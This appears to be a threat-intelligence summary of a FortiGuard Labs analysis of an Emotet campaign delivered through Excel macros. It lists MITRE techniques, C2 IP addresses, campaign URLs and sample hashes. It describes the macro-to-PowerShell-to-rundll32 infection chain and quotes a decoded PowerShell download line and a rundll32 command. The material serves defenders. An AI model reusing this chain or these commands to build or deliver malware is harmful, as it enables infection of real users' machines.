Fortinet FortiGuard Labs analyzed a campaign that uses an MS Office Excel macro to deliver the Emotet Trojan, detailing how the macro writes and executes VBScript and PowerShell components to download and run a DLL payload. The research also covers anti-analysis techniques, C2 communication, persistence, and Fortinet protections.
#Emotet #Fortinet #FortiGuardLabs #Rundll32 #DllRegisterServer
#Emotet #Fortinet #FortiGuardLabs #Rundll32 #DllRegisterServer
Keypoints
- Fortinet researchers captured 500+ Microsoft Excel samples involved in an Emotet delivery campaign using macro-enabled Excel files.
- The malicious macro uses Workbook_Open to write uidpjewl.bat and tjspowj.vbs in C:ProgramData and then executes tjspowj.vbs via wscript.exe to download Emotet.
- The loader uses Rundll32 to load X.dll from a resource and ultimately starts Emotet via the DllRegisterServer export, with several anti-analysis techniques evident.
- Downloaded Emotet DLL is decrypted in memory and executed, with core modules delivered from a C2 server and run through Rundll32-based execution.
- Data collection and encryption involve gathering host/system information, hashing, and sending base64-encoded payloads to the C2 server via HTTP GET.
- Persistence is achieved by relocating the Emotet DLL to LocalAppData and adding an AutoRun entry in the system registry; Fortinet provides multiple protections.
MITRE Techniques
- [T1566.001] Phishing – Social engineering via email to lure recipients into opening attached Excel files or clicking links. ‘Emotet uses social engineering, like email, to lure recipients into opening attached document files (including Word, Excel, PDF, etc.) or clicking links within the content of the email that download Emotet’s latest variant onto the victim’s device.’
- [T1059.005] VBScript – The VBScript file (tjspowj.vbs) is invoked and used in the macro flow. ‘The malicious Macro has a function called “Workbook_Open()” that is executed automatically in the background when the Excel file opens. It calls other local functions to write data to two files… The Macro executes the “tjspowj.vbs” file with “wscript.exe.”’
- [T1059.001] PowerShell – Encoded PowerShell payload downloaded by the batch and executed; ‘to better understand its intention, I have decoded it below’ and ‘invoke-webrequest -uri $yIdsRhye34syufgxjcdf -outfile $GweYH57sedswd;’
- [T1105] Ingress Tool Transfer – The PowerShell code downloads the Emotet payload from multiple URLs until a download succeeds. ‘It downloads Emotet (into a local file, “c:programdatapuihoud.dll”, that is hardcoded in the PowerShell) from a group of websites until any download is successfully completed.’
- [T1218.011] Signed Binary Proxy Execution: Rundll32 – Emotet runs via rundll32 to load and execute a DLL. ‘rundll32.exe … c:programdatapuihoud.dll,tjpleowdsyf’ and GetProcAddress usage to locate DllRegisterServer.
- [T1082] System Information Discovery – Emotet collects system data using APIs such as GetComputerName(), GetWindowsDirectoryW(), and GetVolumeInformationW().
- [T1041] Exfiltration Over C2 Channel – Data is encrypted and sent to C2 using base64 in an HTTP GET cookies parameter. ‘The base64 string is submitted to the C2 server as a “Cookies” value in an HTTP Get request.’
- [T1547.001] Registry Run Keys / Startup Folder – Persistence by relocating the Emotet DLL and adding an auto-run entry in the system registry. ‘Added auto-run item in the system registry.’
- [T1027] Obfuscated/Encrypted Files and Information – Strings and numbers are encrypted and decrypted just before use to hinder analysis. ‘Strings are Encrypted’ and ‘Constant Numbers are Obfuscated.’
- [T1562.001] Impair Defenses – Anti-analysis techniques including obfuscated code flow and hidden APIs. ‘Anti-Analysis Techniques’ and ‘All APIs are hidden.’
Indicators of Compromise
- [URL] Campaign URLs – https://youlanda.org/eln-images/n8DPZISf/, https://rosevideo.net/eln-images/EjdCoMlY8Gy/ and 12 more URLs
- [IP] C2 Servers – 185.248.140.40:443, 8.9.11.48:443 and 47 more addresses
- [SHA-256] Sample hashes – 25271BB2C848A32229EE7D39162E32F5F74580E43F5E24A93E6057F7D15524F0, C176C2B0336EA70C0D875F5C79D00771D59891560283364A81B2EDE495CDE62F and other captured hashes
- [File name] Dropped/related files – uidpjewl.bat, tjspowj.vbs, puihoud.dll, X.dll